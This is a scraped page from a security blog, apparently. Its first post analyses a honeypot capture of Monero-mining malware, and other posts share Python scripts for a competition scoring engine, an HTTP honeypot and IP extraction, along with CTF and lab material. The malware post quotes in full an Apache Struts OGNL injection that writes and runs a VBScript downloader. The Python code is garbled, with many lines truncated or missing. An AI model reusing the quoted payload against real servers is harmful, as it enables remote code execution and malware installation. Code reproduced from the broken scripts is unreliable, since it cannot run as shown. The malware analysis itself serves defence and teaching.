Saturday, December 8, 2018

Monero Mining Malware from Honeypot

Recently in a honeypot, I observed that the miscreants were looking for a vulnerability in an Apache Struts server running on a Windows Server.  Below is the GET request that was captured:

UserAgent:Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) 
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cmd /c echo Set Post = CreateObject("Msxml2.XMLHTTP") >>C:/5.vbs&
echo Set Shell = CreateObject("Wscript.Shell") >>C:/5.vbs&
echo Post.Open "GET","",0 >>C:/5.vbs&echo Post.Send() >>C:/5.vbs&echo Set aGet = CreateObject("ADODB.Stream") >>C:/5.vbs&echo aGet.Mode = 3 >>C:/5.vbs&echo aGet.Type = 1 >>C:/5.vbs&echo aGet.Open() >>C:/5.vbs&echo aGet.Write(Post.responseBody) >>C:/5.vbs&echo aGet.SaveToFile "C:/Windows/temp/download.exe",2 >>C:/5.vbs&echo wscript.sleep 10000>>C:/5.vbs&echo Shell.Run ("C:/Windows/temp/download.exe")>>C:/5.vbs&C:/5.vbs').(#iswin=(@java.lang.System@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(,#ros)).(#ros.flush())},

Accept:text/html, application/xhtml+xml, */*,
Accept-Encoding:gbk, GB2312,

As you can see above a file is downloaded from  The domain registration is through GoDaddy.  Below is the whois record that I found.  I find it fascinating that the Organization and State/Province is probably random keystrokes from a bot.

Registry Domain ID D414400000006028492-AFIN
Registrar URL
Updated Date 2018-11-01T10:56:24Z
Creation Date 2018-05-09T11:12:14Z
Registry Expiry Date 2020-05-09T11:12:14Z
Registrar, LLC
Registrar IANA ID 146
Registrar Abuse Contact Email
Registrar Abuse Contact Phone +1.4806242505
Registrant Organization zanwu
Registrant State/Province uysf
Registrant Country AZ

Other subdomains that are associated with this malware that I have found with the associated IP Address and organization that they are associated with: - - Linode LLC in Singapore - - Linode LLC in US - - Linode LLC in US - - Linode LLC in US - - Linode LLC in US

Now going back to the download.exe file that is downloaded.  Evaluating the file we find that it is a Windows x86 binary.

Using the command "upx -d" on the file it decompresses it so that we can look at the binary.  I copied the original file of download.exe to original_download.exe becasue the upx -d command will overwrite the file in-place with the decompressed file.

Looking at the code you can tell that it has backdoor capabilities after it is installed, has the capability to send emails, and much more.  Within the strings of the output you can see that it downloads another file as shown below:

I then downloaded this file from the location and analyzed it further.  This malware was also UPX compressed.  I decompressed the file and conducted a basic analysis.  You can see that it contains backdoor functionality, mimikatz, a list of passwords for brute forcing, and more.  Below is filtered by the string "http" using grep -i.

We find another domain that is involved called  That is another rabbit hole that can be investigated.  The part of the binary that caught my attention was the Cfg.ini file.  This configuration file contains information to run a mineXMR bot.  The address of the wallet is in the screenshot below:

They are utilizing the Singapore MineXMR location.  If you lookup the address you can see the following screenshot:

This wallet is probably the benefits of infected computers.  At the bottom you can see that 123 XMR is the total paid which amounts to $46 each XMR for $5,658.  This is not much for the expense of others.

Here are the hashes of the malware that I collected from this analysis:

789072c3f9fe20c7aa691bb23fbfb0ce4239c659889bb1f19f9d81b8493dc117  Cfg.ini
b1017cb86875e7c4a6037db439769650384bca5439d9426cca844038a38c3f00  download.exe
bb2d54d74274dcc822481650d7025b06d0523b473b8f1b82fbd0efe67f196550  original_download.exe
06408e8b2d311cc6f7e85386f3acc4f3b3b8d7e4b4fbec27c49803ce66b2852e  original_unloadcur.exe
a7978d10e171d997a448214edca68e6c22980c0908183df59884f97ab7079322  unloadcur.exe


Saturday, December 1, 2018

Simple Monitor / Scoring Engine in Python3

The below script was built to monitor IP Addresses and Ports that are open on a network.  Below is more of the dialogue of why it was created and what it does.

Almost 2 years ago I was asked to create a simple script that would monitor if a set of ports were open or closed.  Then if the ports were open provide points for them that would add up for a team score.  This script was used for the LDSBC High School Cyber Defense competition to determine if a team had maintained there systems online as they protected them from a red team and hardened them. Here is what I created located on my github.

I was asked for the same script that I used 2 years ago and found out they have used it a couple of times since that time.  The below script is a much improved scoring engine which the LDSBC is going to use in the High School Cyber Defense competition coming up December 7th.

After running the script I found the following use for it.  I have been in situations where a system administrator or myself has turned off a monitoring system like Nagios due to the amount of alarms that are firing during an outage.  The below script could be used during a timeframe like that to monitor systems that you are working to fix or verify they are working as you are in the middle of an outage.

The script is built to allow you to launch it, configure teams or vlans.  Then after configuring notes about a team or a vlan, configure the IPs and ports you would like monitored.  After launching it provides a status every 10 minutes of the IPs and ports that are UP or DOWN.  The score could be evaluated as the consistency of a system being up.  An audit log is also generated that could be viewed to determine the UP or DOWN time of systems.

Currently it is tuned to allow up to 6 teams/vlans with up-to 20 IPs/Ports per team or a total of 120 IPs/Ports to be monitored within a 10 minute period of time.  This also saves a file that could be restored every 10 minutes during the monitoring process.  This script also allows you to save a configuration that you create.

# Created Nov. 30, 2018
# Updated Dec. 11, 2018

import socket
import datetime
import time

class Teams:
    def __init__(self):
        self.teamName = []

    def addTeam(self, name):
        return self

class Team:
    def __init__(self, name, description, location, score): = name
        self.description = description
        self.location = location
        self.score = int(score)

class Ports:
    def __init__(self):
        self.monitoredPorts = []

    def addPort(self, portInfo):
        return self

class Port:
    def __init__(self, teamName, ip, port, description):
        self.teamName = teamName
        self.ip = ip
        self.port = port
        self.description = description

def modifyPort(poInfo, teInfo):
    while True:
        print('Port Modification')
        tInfo = "Name:" + str(
        tInfo += "\tDesc: " + str(teInfo.description)
        tInfo += "\tLocation: " + str(teInfo.location)
        tInfo += "\tScore: " + str(teInfo.score)
        pInfo = "Port Desc:" + str(poInfo.description)
        pInfo += "\tIP:" + str(poInfo.ip)
        pInfo += "\tPort:" + str(poInfo.port)
        print("D. Modify IP/Port Description")
        print("I. Modify IP")
        print("P. Modify Port")
        print("R. Refresh")
        print("Q. Quit to IP/Port Setup")
        selectMod = input("> ")
        if selectMod == 'D' or selectPort == 'd':
            newDesc = input("Change IP/Port description to: ")
            poInfo.description = newDesc.strip().replace('\n','').replace('\r','')
        elif selectMod == 'I' or selectMod == 'i':
            newIP = input("Change IP to: ")
            poInfo.ip = newIP.strip().replace('\n','').replace('\r','')
        elif selectMod == 'P' or selectMod == 'p':
            newPort = input("Change Port to: ")
            poInfo.port = int(newPort.strip().replace('\n','').replace('\r',''))
        elif selectPort == 'Q' or selectPort == 'q':

def setPorts(teamInfo, nPorts):
    while True:
        print('IP/Port Setup')
        tInfo = "Name:" + str(
        tInfo += "\tDesc: " + str(teamInfo.description)
        tInfo += "\tLocation: " + str(teamInfo.location)
        tInfo += "\tScore: " + str(teamInfo.score)
        portNumber = 1
        portNumberSet = []
        for port in nPorts.monitoredPorts:
            if port.teamName ==
                # Check if IP is in correct format
                # Check if Port is in correct format
                print(str(portNumber) + ". " + str(port.description) + "\t\tIP:" + str(port.ip) + "\t\tPort:" + str(port.port))
            portNumber += 1
        if len(nPorts.monitoredPorts) == 0:
            print("No ports have been configured.")
        if len(nPorts.monitoredPorts) > 0:
            print("** To modify a monitored port above select the number in the front.")
        print('A. Add Port')
        print('N. Modify Team Name')
        print('D. Modify Team Description')
        print('L. Modify Team Location')
        print('S. Modify Team Score')
        print('Q. Quit to Main')
        selectPort = input('> ')
            numbPort = int(selectPort)
            if len(nPorts.monitoredPorts) >= numbPort and numbPort in portNumberSet:
                modifyPort(nPorts.monitoredPorts[numb-1], teamInfo)
            if selectPort == 'A' or selectPort == 'a':
                portDescription = input("Input Description of Monitored Port: ")
                portDescription = portDescription.strip().replace('\n','').replace('\r','')
                portIP = input("Input IP to Monitor for " + str( + ": ")
                portIP = portIP.strip().replace('\n','').replace('\r','')
                portPort = input("Input Port to Monitor: ")
                portPort = int(portPort.strip().replace('\n','').replace('\r',''))
                nPorts.addPort(Port(, portIP, portPort, portDescription))
            elif selectPort == 'N' or selectPort == 'n':
                newName = input("Change team name to: ")
                newName = newName.strip().replace('\n','').replace('\r','')
       = newName
            elif selectPort == 'D' or selectPort == 'd':
                newDesc = input("Change team description to: ")
                newDesc = newDesc.strip().replace('\n','').replace('\r','')
                teamInfo.description = newDesc
            elif selectPort == 'L' or selectPort == 'l':
                newLoc = input("Change team location to: ")
                newLoc = newLoc.strip().replace('\n','').replace('\r','')
                teamInfo.location = newLoc
            elif selectPort == 'S' or selectPort == 's':
                newScore = input("Change team score from " + str(teamInfo.score) + " to: ")
                newScore = newScore.strip().replace('\n','').replace('\r','')
                teamInfo.score = int(newScore)
            elif selectPort == 'Q' or selectPort == 'q':

def saveTeam(nTeams, nPorts):
    fileName = input('Input file to save to, contents will be overwritten (i.e. savedTeam.txt): ')
    fileName = fileName.strip().replace('\n','').replace('\r','')
    if len(fileName) < 4:
        print('Invalid file name, using savedTeam.txt')
        fileName = 'savedTeam.txt'
    f = open(fileName, 'w')
    for team in nTeams.teamName:
        outputTeam = "TEAM" + "|" + str( + "|" + str(team.description) + "|" + str(team.location) + "|" + str(team.score) + "\r\n"
    for port in nPorts.monitoredPorts:
        outputPort = "PORT" + "|" + str(port.teamName) + "|" + str(port.ip) + "|" + str(port.port) + "|" + str(port.description) + "\r\n"

def saveTeamMonitoring(nTeams, nPorts):
    now =
    timeInfo = now.strftime("_%m_%d_%YT%H_%M")
    fileName = 'monitoringSaveTeam' + timeInfo + '.txt'
    f = open(fileName, 'w')
    for team in nTeams.teamName:
        outputTeam = "TEAM" + "|" + str( + "|" + str(team.description) + "|" + str(team.location) + "|" + str(team.score) + "\r\n"
    for port in nPorts.monitoredPorts:
        outputPort = "PORT" + "|" + str(port.teamName) + "|" + str(port.ip) + "|" + str(port.port) + "|" + str(port.description) + "\r\n"
    print('Saved current team information to the file "' + fileName + '"')
    print('If you stop the program you can restore this file with the scores at this point-in-time.')

def loadTeam(nTeams, nPorts):
    fileName = input('Input file name to load: ')
    fileName = fileName.strip().replace('\n','').replace('\r','')
    if len(fileName) < 4:
        print('Invalid file name, trying savedTeam.txt')
        fileName = 'savedTeam.txt'
        f = open(fileName, 'r')
        for line in f:
            column = line.split('|')
            if column[0] == 'TEAM':
                nTeams.addTeam(Team(column[1], column[2], column[3], column[4].strip()))
            elif column[0] == 'PORT':
                nPorts.addPort(Port(column[1], column[2], column[3], column[4].strip()))
                print('Invalid line format found in ' + fileName + '. You will need to manually correct it.')
        print("** Note: The score was loaded with the restored information...")
        print('Sorry either the file does not exist or problems loading the file exist.')

def monitorMode(currentTeams, currentPorts):
    while True:
        print('Monitoring Mode - Will cylcle through all ports every 10 minutes...')
        print('**Note: If the cycle time is greater than 600 seconds not enough time is allowed.')
        print('Current Team Scores')
        for team in currentTeams.teamName:
            teamInfo = str(
            teamInfo += "\tDesc: " + str(team.description)
            teamInfo += "\tLocation: " + str(team.location)
            teamInfo += "\tScore: " + str(team.score)
        fAudit = open('auditLog.txt', 'a')
        timeSleep = 0
        totalSleep = 0
        beforeCycle = time.time()
        for port in currentPorts.monitoredPorts:
            ip = port.ip
            currentPort = int(port.port)
            beforeDate =
            beforeConnection = time.time()
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            result = s.connect_ex((ip,currentPort))
            if result == 0:
                for team in currentTeams.teamName:
                    if == port.teamName:
                        # For each successful connection it provides 5 points
                        team.score = team.score + 5
                        teamScore = team.score
                infoAudit = port.teamName + "|"
                infoAudit += port.ip + "|"
                infoAudit += str(port.port) + "|"
                infoAudit += "UP|"
                infoAudit += beforeDate.strftime("%m-%d-%Y %H:%M:%S") + "|"
                infoAudit += str(teamScore)
                infoAudit += "\r\n"
                infoAudit = port.teamName + "|"
                infoAudit += port.ip + "|"
                infoAudit += str(port.port) + "|"
                infoAudit += "DOWN|"
                infoAudit += beforeDate.strftime("%m-%d-%Y %H:%M:%S") + "|"
                infoAudit += "|"
                infoAudit += "\r\n"
            afterConnection = time.time()
            # Sleep for a total of 5 seconds per connection whether failed or successful
            timeSleep = 5 - (afterConnection - beforeConnection)
            #print("Time Elapsed: " + str(timeSleep))
            totalSleep += 5
        saveTeamMonitoring(currentTeams, currentPorts)
        # Setup to monitor all connections every 10 minutes (6 teams 20 ports = 120 ports * 5 seconds = 600 seconds)
        # 3 hours / 10 minutes = 18 cycles
        afterCycle = time.time()
        totalCycle = afterCycle - beforeCycle
        print("Cycle took " + str(totalCycle) + " seconds.")
        totalTimeSleep = 600 - (afterCycle - beforeCycle)
        print("Sleeping for " + str(totalTimeSleep) + " seconds until the next cycle.")
        totalSleep = 0

def main(newTeams, newPorts):
    while True:
        print('Main Menu')
        teamNumber = 1
        for team in newTeams.teamName:
            portCount = 0
            for port in newPorts.monitoredPorts:
                if port.teamName ==
                    portCount += 1
            teamInfo = str(teamNumber) + ". "
            teamInfo += str(
            teamInfo += "\tDesc: " + str(team.description)
            teamInfo += "\tLocation: " + str(team.location)
            teamInfo += "\tPorts Configured: " + str(portCount)
            teamInfo += "\tScore: " + str(team.score)
            teamNumber += 1
        if len(newTeams.teamName) == 0:
            print("No teams have been configured.")
        if len(newTeams.teamName) > 0:
            print("** To modify a team select the number in the front.")
        print('A. Add Team')
        print('L. Load Team Info from File')
        print('S. Save Team Info to File')
        print('Type "Monitor" to enter monitoring mode based on the configuration above')
        print('R. Refresh')
        print('Q. Quit')
        selection = input('> ')
            numb = int(selection)
            if len(newTeams.teamName) >= numb:
                setPorts(newTeams.teamName[numb-1], newPorts)
            if selection == 'A' or selection == 'a':
                teamName = input("Input team name: ")
                teamDescription = input("Input team description: ")
                teamLocation = input("Input team location: ")
                newTeams.addTeam(Team(teamName, teamDescription, teamLocation, 0))
            elif selection == 'L' or selection == 'l':
                loadTeam(newTeams, newPorts)
            elif selection == 'S' or selection == 's':
                saveTeam(newTeams, newPorts)
            elif selection == 'Q' or selection == 'q':
            elif selection == 'monitor' or selection == 'Monitor' or selection == 'MONITOR':
                monitorMode(newTeams, newPorts)

listTeams = Teams()
listPorts = Ports()
main(listTeams, listPorts)

pcap Challenge from myhouse7

Description of the pcap Challenge

This pcap challenge was created from an attacker scanning, penetrating and pivoting through the myhouse7 virtual machine.  The owners of the network are aware of the attack due to detecting it in the logs.  They are not concerned about the information that may have been compromised but would like to learn from the attack.  Download the pcap Challenge from my google drive at this link.

Your Task

1. Draw a network diagram of the systems that were involved in the attack.  The diagram should include all of the IP Addresses separated by networks involved.

2. Put together a timeline of the major events.

2. Identify the tools that were used by the attacker.

3. Identify what was used by the attacker to access and/or gain control of the servers.

4. What scripts or evidence did the attacker leave behind that the owners could go and evaluate?

5. Did the attacker download an encrypted file from a file server?

Download Location

Download the pcap Challenge from my google drive at this link.

Sunday, November 18, 2018

python3 http.server HTTP Honeypot

Created a python3 http.server honeypot that responds to everything with an html code of 301 redirect to and creates a log of the connecting IP Address, http verb, path of the connection, http code, and the headers including the user agent.  It also records the POST variables if they exist.

Added the ability to change the server header, protocol and sys version (python version) displayed.


import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler

def servePage(s, hverb):
    now =
    logtime = now.strftime("%m-%d-%Y %H:%M")
    userAgent = str(s.headers['User-Agent'])
    if hverb == "POST":
        contentLen = int(s.headers['Content-Length'])
        body =
        postInfo = body.decode("utf-8")
        postInfo = ""
    log = logtime
    log += " SrcIP:" + s.client_address[0]
    log += " HTTPCode:200"
    log += " HTTPVerb:" + hverb
    log += " URI:" + s.path
    log += " UserAgent:" + userAgent
    log += " Headers("
    for h in s.headers:
        if "User-Agent" not in h:
            log += h + ":" + s.headers[h] + ","
    log = log[:-1]
    log += ")"
    if hverb == "POST":
        log += " POST:" + postInfo
    log += "\n"
    f = open('log.txt', 'a')
    s.protocol_version = 'HTTP/1.1'
    s.server_version = 'Microsoft-IIS/8.5'
    s.sys_version = ''
    # Setup with the below 2 lines to redirect to another page.  Example below is
    s.send_header('X-Powered-By', 'ASP.NET')
    s.send_header('Content-type', 'text/html')
    message = ""
    s.wfile.write(bytes(message, "utf8"))

class StaticServer(BaseHTTPRequestHandler):

    def do_GET(self):
        servePage(self, "GET")

    def do_POST(self):
        servePage(self, "POST")

    def do_PUT(self):
        servePage(self, "PUT")

    def do_DELETE(self):
        servePage(self, "DELETE")

    def do_OPTIONS(self):
        servePage(self, "OPTIONS")

# You can change the port it listens on below...
def main(server_class=HTTPServer, handler_class=StaticServer, port=8005):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print('Starting httpd on port {}'.format(port))

print("http.server Honeypot")

Wednesday, November 7, 2018

Lab Book 2.0.12


Lab_Book_2.0 is a book that I designed for students of an IT 222 Ethical Hacking class that I have been asked to teach at LDS Business College.  The lab book consists of walkthroughs of 7 different virtual machines, introduces them to exploit kits, phishing, command-and-control, and buffer overflows.  However the main objectives of this lab book are to introduce students to a variety of tools that they can utilize, techniques that they can use to test for security vulnerabilities and to understand how to write a technical report of what they found and how they found it.

You can download the Lab Book from my Google Drive at this link.

Here are recorded videos for labs 2, 3, 5 and 6.

Friday, November 2, 2018

myhouse7 - Vulnerable Virtual Machine

Description of Vulnerable Virtual Machine

myHouse7 is a vulnerable virtual machine with multiple docker images setup to be a capture-the-flag (CTF) challenge.  The goal of this vulnerable virtual machine is to present a lab where you can learn and practice to pivot through the subnets to be able to compromise all of the hosts/containers except 1. 

Download from my Google Drive.

SHA1: ffefa2283d48c98baace90fb1ed93c1aa464c925

CTF Flag Information

This CTF challenge consists of a total of 20 flags.  The virtual machine that is provided contains 2 flags and each docker image/container when running contains 3 additional flags with exception to 1 host.  The 1 host that is the exception has no flags.  (A mistake that I made was to name 2 flags the same.)

The structure of each flag is as follows: {{tryharder:xxx}}.  The xxx in the example could be a single digit or up to 4 digits.

Network Diagram

Below is a network diagram of the setup which may or may not be accurate.  The virtual machine represents the firewall in the network diagram below.  A total of 7 docker images/containers launch each time the virtual machine loads.

Download Information

You are able to download this file from my Google Drive at this link.  The file is 2.7GB compressed with 7-zip.  The file is a compressed OVF exported virtual machine from VMWorkstation 14.  After importing the virtual machine, the first time that it loads will take upwards of 15 minutes due to building the environment and decompressing the docker images.  After the first time you load the virtual machine it will be quicker due to only having to load the docker images into containers.

Thursday, October 4, 2018

Script to Extract IP Addresses from a File, Dedup, and Remove Brackets if they Exist

Here is a quick script to extract IP Addresses from a File, deduplicate them and remove the brackets if they exist around the periods.

# Extract IP Addresses

import re
file = open("temp")
ipList = []
for line in file:
        #ip = re.findall( r'[0-9]+(?:\.[0-9]+){3}', line )
        ip = re.findall( r'[0-9]+(?:(?:|\[)\.(?:|\])[0-9]+){3}', line )
        if ip:
             for item in ip:
                 item = item.replace('[','').replace(']','')
                 if item not in ipList:

for i in ipList:

Monero Mining Malware from Honeypot

Recently in a honeypot, I observed that the miscreants were looking for a vulnerability in an Apache Struts server running on a Windows Serv...